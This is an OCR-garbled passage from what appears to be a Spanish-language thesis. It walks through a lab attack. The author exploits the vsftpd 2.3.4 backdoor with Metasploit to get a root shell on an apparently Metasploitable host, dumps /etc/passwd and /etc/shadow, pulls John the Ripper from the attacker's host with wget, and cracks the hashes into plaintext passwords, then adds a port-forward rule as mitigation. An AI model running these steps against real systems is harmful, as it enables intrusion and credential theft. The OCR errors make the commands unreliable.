Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
: active (running) since Sat 2018-06-16 19:48:39 -05; 5s ago
3981 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
Main PID: 3992 (apache2)
Tasks: 7 (limit: 4915)
Memory: 21.4M
CGroup: /system.slice/apache2.service
[-3992 /usr/sbin/apache2 -k start
3993 /usr/sbin/apache2 -k start
3994 /usr/sbin/apache2 -k start
3995 /Jusr/sbin/apache2 -k start
—3996 /usr/sbin/sapache2 -k start
r73997 /usr/sbin/apache2 -k start
-3998 /usr/sbin/apache2 -k start

jun 16 19:48:38 kaliCris systemd[1]: Starting The Apache HTTP Server...

jun 16 19:48:39 kaliCris apachect1[3981]: AHPO558: apache2: Could not reliably d
jun 16 19:48:39 kaliCris systemd[1]: Started The Apache HTTP Server.

lines 1-19/19 (END)
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llustracion 8.69: “Levantamiento de servicios Apache”

8.5.3 Se abre un explorador de Internet y se digita la pagina por defecto de este

servicio (127.0.0.1), comprobando su estado actual y lista para su uso

Apache2 Debian Default Page: It works - Mozilla Firefox
G Google % | Apache2 Debian Default .. x | +
¢ ® 127001 1 v | & |lQ Searct e 3

B Most Visitedv [jllOffensive Security "\ Kali Linux " Kali Docs "\ Kali Tools = Exploit-DB W Aircrack-ng gllKali Forums S\ NetHunte

(a Apache2 Debian Default Page

.

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server
installed at this site is working properly. You should replace this file (located at /var/www
/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Configuration Overview

Debian's Apache2 default configuration is different from the upstream default configuration, and split into
several files optimized for interaction with Debian tools. The configuration system is fully documented
in jusr/ d. pache2/README gz. Refer to this for the full documentation.
Documentation for the web server itself can be found by accessing the manual if the apache2-doc
package was installed on this server.

The configuration layout for an Apache2 web server ion on Debian sy is as follows:

/etc/apache2/ i
-- apache2.conf H
‘-- ports.conf
- mods-enabled
|-- *.load
- *.conf
- conf-enabled
== %.conf
- sites-enabled

lHustracion 8.70: “Verificacion Actual de Apache”

8.5.4 Ahora, para realizar este ataque es necesario descargar el aplicativo llamado

“John the Ripper” desde su pagina oficial (http://www.openwall.com/john/) y

lo instalamos en el sistema operativo “Kali Linux™:

John the Ripper password cracker - Mozilla Firefox o0
_ Apache2 Debian .. Apache2 Debian .. | Index of fherram... | G descomprimi... | (> Johnthe .. * O Como desco.. = € Capy | Comp.. 4+
€ ® www.openwall.com/john/ E1| & ||Q Search *TE 3 & 9O =
[ Most Visitedv [l Offensive Security \ Kali Linux “\ Kali Docs "\ Kali Tools % Exploit-DB WyAircrack-ng gllKali Forums %\ NetHunter »

John the Ripper is free and Open Source software, distributed primarily in source code form. If you would rather use a B
commercial product tailored for your specific operating system, please consider John the Ripper Pro, which is distributed
primarily in the form of "native" packages for the target operating systems and in general is meant to be easier to install

and use while delivering optimal performance.

Proceed to John the Ripper Pro homepage for your OS:

« John the Ripper Pro for Linux

« John the Ripper Pro for Mac OS X

« On Windows, consider Hash Suite (developed by a contributor to John the Ripper) Get John the Ripper apparel at
« On Android, consider Hash Suite Droid 0-Day Clothing and support

the project
Download one of the latest official free versions (release notes):

« John the Ripper 1.8.0 (sources, tar.xz, 4.3 MB) and its signature

« John the Ripper 1.8.x extra charset files archive (tar.xz, 4.5 MB) and its signature
o John the Ripper 1.8.0 (sources. mngyi EZ MB) and its signature

« John the Ripper 1.7.9 (Windows binari®s, ZIP, 2029 KB) and its signature
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http://www.openwall.com/john/

llustracion 8.71: “Descargar Jonh The Ripper”

8.5.5 Dentro del sistema operativo “Kali Linux”, se abre la direccion: “Otras
ubicaciones, Equipo, var, log, www, html” y se crea una carpeta llamada

toolsTesis y se procede a guardar el aplicativo (John the Ripper)

Cancelar |

Nombre de la carpeta
l toolsTesis|

lustracion 8.72: “Creacion de Carpeta para guardar aplicativo John the

Ripper”

]

var  www html  toolsTesis

Nombre

. john-1.8.0.tar.qz
G

lustracion 8.73: “Guardar aplicativo John the Ripper”

8.5.6 Para verificar que la aplicacion se encuentre dentro de esta direccion se abre

un explorador de Internet y digitamos “127.0.0.1/toolsTesis” y como se
observa la aplicacion se encuentra guardada correctamente

_ Apache2Debian.. X / Index of tooisTe.. X | G descomprimir .. X

€ ©|127.0.0.1/t00lsTesis/

[ Most Visitedv [l Offensive Security N Kali Linux "\ Kali Docs "\ Kali T
Index of /toolsTésis
Name Last modified Size Description

Parent Directory =
2018-06-16 20:54 5.2M

Apache/2.4.29 (Debian) Server at 127.0.0.1 Port 80 |
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8.5.7

8.5.8

8.5.9

lustracion 8.74: “Verificacion de Aplicativo John the Ripper en Apache”
Siendo la misma direccion local, ingresamos a la direccion 192.168.100.166

L BROR152.168.100.166/toolsTesis

[&5]Most Visitedv [fllOffensive Security "\ Kali Linux "% Kali Docs "\ Kali~
Index of /toolsTesis

Name Last modified Size Description

& Parent Directory -
¥ john-1.8.0.tar.gz 2018-06-16 20:54 5.2M

Apache/2.4.29 (Debian) Server at 192.168.100.166 Port 80
llustracion 8.75: “Ingreso a la direccion 192.168.100.166”
Abrir una consola e instalar una aplicacién que nos ayude a descomprimir

ficheros.

root@kaliCris: ~ @ e 0*
Archivo Editar Ver Buscar Terminal Ayuda

:~# sudo apt-get install xz-utils
Leyendo lista de paquetes...
Creando arbol de dependencias

Hecho

Leyendo la informacién de estado... Hecho

xz-utils ya esta en su version mas reciente (5.2.2-1.3).

©® actualizados, © nuevos se instalaran, @ para eliminar y 1021 no actualizados.
~# l

lustracion 8.76: “Descomprimir archivos Jon de Ripper”
A continuacién, se procedera a realizar el ataque abriendo una consola en

“Metasploit framework”

root@kaliCris: ~ =) Q [}

Archivo Editar Ver Buscar Terminal Ayuda

=[ me 48-de
+ -- --=[ 1749 exploits - 1002 auxiliary -
o= =[ 536 payloads 40 encoders 10
4+ -- --=[ Free Metasploit Pro trial:

nops

1
302 post ]
]
http://r-7.co/trymsp ]

> msfdb start

msf
[*] exec: msfdb start

[i) Database already started
msf > msfdb init
[*] exec: msfdb init

[i] Database already started
[i] The database appears to be already configured,
msf >

skipping initialization
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llustracion 8.77: “Abrir consola de Metasploit”

8.5.10 Se digita el comando “search vsftpd” y podemos observar que la unica

vulnerabilidad que podemos ingresar

» search vsftpd

Matching Modules

Disclosure Date Rank Description

exploit/unix/ftp/vsftpd 234 backdoor 2011-87-83 excellent
4 Backdoor Command Execution

llustracion 8.78: “Busqueda de Vulnerabilidades al puerto 21"

8.5.11 Seleccionamos dicha vulnerabilidad

> use exploit/unix/fTtp/vsTtpd 234 backdoor

FreiSe

lustracion 8.79: “Seleccion de vulnerabilidad al puerto 21"

8.5.12 Configuramos la direccién victima (192.168.100.169) y observamos que esta

lista para abrir su sesion y poder controlar la maquina

msf exploit( ) > set RHOST 192.168.100.169
RHOST => 192.168.100.169

msf exploit( ) > show options

Module options (exploit/unix/ftp/vsftpd 234 backdoor):

Name Current Setting Required Description

RHOST 192.168.100.169 yes The target address
RPORT 21 yes The target port (TCP)

lustracion 8.80: “Configuracion de direccion victima”
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8.5.13 Con el comando “exploit” podemos controlar la sesion, la cual ya se encuentra
abierta

msf exploit( ) > exploit

192.168.100,169:21 - Banner: 220 (vsFTPd 2.3.4)
192.168.100.169:21 USER: 331 Please specify the password.

192.168.100.169:21 - Backdoor service has been spawned, handling...
192.168.100.169:21 - UID: uid=0(root) gid=0(root)
] Found shell.
] Command shell session 1 opened (192.168.100.166:42869 -> 192.168.100.169:620
0) at 2018-06-16 19:43:52 -0500

lustracion 8.81: “Control de Sesion Abierta”
8.5.14 Como podemos observar, ya tenemos control total a la computadora de la
victima

€ (O 192.168.100.169 v

[55 Most Visited v l]lOffensse Security "\ Kali Linux “§ Kali Docs "\ Kali Tools = Exploit-

~
-

~

-
~
~
~

-

Warning: Never expose this WM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

o TWiki
e phpMyAdmin

o Mutillidae
e DVWA
e WebDAV
lustracion 8.82: “Control total del equipo victima
8.5.15 Ahora, dentro de la sesion y con el comando “cat /etc/passwd”, se puede
averiguar todas las contrasefias, tomando en cuenta que se encuentra de

manera desordenada

189



cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh I
sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games: /usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

llustracion 8.83: “Comando para averiguar contrasenas

8.5.16 De igual manera dentro de la sesion y con el comando “cat /etc/shadow”, se
puede averiguar todos los usuarios, tomando en cuenta que se encuentra de

manera desordenada.

cat /etc/shadow

root:$1%$/avpfBl1$x0z8w5UF91v. /DROE9L1d.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::

bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3Up0zQIqz4s5wFD910:14742:0:99999:7:::
Sync:*%*:14684:0:99999:7:::

games:*:14684:0:99999:7 >

man:*:14684:0:99999:7:::

1p:*:14684:0:99999:7:::

mail:*:14684:0:99999:7:::

news:*:14684:0:99999:7:::

uucp:*:14684:0:99999:7:::

proxy:*:14684:0:99999:7:::

www-data:*:14684:0:99999:7:::

backup:*:14684:0:99999:7:::

list:*:14684:0:99999:7:::

irc:*:14684:0:99999:7:::

gnats:*:14684:0:99999:7:::

llustracion 8.84: “Comando para averiguar usuarios ”
8.5.17 Ahora, para que toda la informacion se encuentre ordenada y encontrar los

usuarios y contrasefias para cada aplicacion, se usa el siguiente comando

wget http://192.168.160.166/toolsTesis/john-1.8.0.tar.gz

lustracion 8.85 “Abrir directorio de la aplicacion John de Ripper”
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8.5.18 Descomprimir el aplicativo John the Ripper a través del comando “tar xvzf

(nombre_aplicacion)”

f john-1.8.0.tar.gz
.0/README
.0/doc/CHANGES
.8/doc/CONFIG
.8/doc/CONTACT
.0/doc/COPYING
.0/doc/CREDITS
.0/doc/EXAMPLES
.0/doc/EXTERNAL
.0/doc/FAQ
.0/doc/INSTALL
.0/doc/LICENSE
.0/doc/MODES
.0/doc/0OPTIONS
.0/doc/README
.0/doc/RULES
.0/run/ascii.chr
.0/run/digits.chr

.8
.8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
.8

e i R S S S S S S S S R S

llustracion 8.86 “Descomprimir John the Ripper”

8.5.19 Se ingresa a la aplicacion, visualizando sus recursos

cd john-1.8.8
1s

README

doc
run
SIrC

1

lustracion 8.87 “Visualizacion de recursos - John the Ripper’

8.5.20 Se ingresa vy lista el recurso (src); se usa el comando “make generic”’; de esta

manera empieza a realizar una busqueda y ordenando las claves y usuarios

encontrados.
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make generic
rm -f arch.h
gcc -c¢ -Wall -Wdeclaration-after-statement -02 -fomit-frame-pointer detect.c
gcc detect.o -s -0 detect
./best.sh "make" \
"DES fmt.o DES std.o" \
"DES bs b.o" \
"MD5_ fmt.o MD5 std.o" \
"BF _fmt.o BF _std.o"
Compiling: DES benchmark (code version #1)
make[l]: Entering directory "/opt/john-1.8.0/src'
gcc -¢ -Wall -wdeclaration-after-statement -02 -fomit-frame-pointer -funroll-lo
ops DES_fmt.c
gcc -c¢ -Wall -wdeclaration-after-statement -02 -fomit-frame-pointer -funroll-lo
ops DES std.c

llustracion 8.88: “Uso del comando “make generic” para ordenar usuarios y

contrasenas”

8.5.21 Se llama el archivo . tockack.txt” donde se encuentra almacena la

informacion requerida mediante los siguientes comandos

.funshadow setc/passwd setc/shadow >tocrack.txt

ascii.chr

digits.chr
john

john nf

relbench
tocrack.txt
unafs
unique
unshadow

lustracion 8.89: “Llamar archivo donde se encuentra la informacion requerida”

./john tocrack.txt

Press 'q' or Ctrl-C to abort, almost any other key for status

malloc: Cannot allocate memory

Loaded 7 password hashes with 7 different salts (md5crypt [MD5 32/32])
postgres (postgres)

user (user)
msfadmin (msfadmin)
service (service)
123456789 (klog)
batman (sys)

lustracion 8.90: “Archivo de claves y contraseiias”
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8.5.22 Configurar las reglas necesarias para mitigar este tipo de ataque se reenvia el

puerto 21 puertos hacia una direccién segura.

Editar

Enable Port Forward Regla: [
Descripcion: Bloquear Ataque de sersiones puerto 21

Sitedas las condiciones siguientes:

o Adadir

Escribe Valor

Destinado Local ¥ |es | Cierto Borrar
Frotocolo ¥ es | [¥TCP  @UDF [[JICMP [T|GRE [T|ESP [JAH [0 5CTP Borrar
Direccién de destino ¥ les ~||152,168,100,181/255.255.255.255 Borrar

lustracion 8.91: “Configuracion de reglas para reenvio de puertos”

| — -
+  Interfaces Nombre de host | Servicies | Puerto Reglas Adelante Reglas NAT | Reglas de derivacién | Rutas Servidor DNS Servidor DH +

Puerto Reglas Adelante

Port Forward goblerna sesiones a plazo que coincidan con los crterios configurados desde una IP publica a una IP en una red interna (NAT'd). Las
reglas se evalian en orden.

Puerto Reglas Adelante

@ Adadir # Importacion & Exportacién

Regl.. Habil .. Descripeién Nueveo desting Puerto... Solucion de ... Reor.. Editar Borrar

lustracion 8.92: “Reenvio de puertos a una direccion segura”
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